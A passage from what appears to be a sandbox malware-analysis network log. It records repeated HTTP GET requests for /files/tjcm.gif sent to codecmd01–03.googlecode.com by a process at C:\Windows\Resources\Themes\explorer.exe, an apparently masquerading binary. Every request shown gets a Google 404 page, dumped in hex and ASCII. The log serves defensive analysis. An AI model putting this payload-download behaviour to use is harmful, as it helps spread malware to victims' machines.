3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:07.186244011 CEST	2681	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49875	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:08.679080009 CEST	2682	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:08.708112955 CEST	2683	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:08 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:08.708139896 CEST	2684	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49876	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:10.971801043 CEST	2684	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:10.998584032 CEST	2686	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:10 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:10.998608112 CEST	2686	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49877	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:12.329263926 CEST	2687	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:12.355820894 CEST	2688	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:12 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
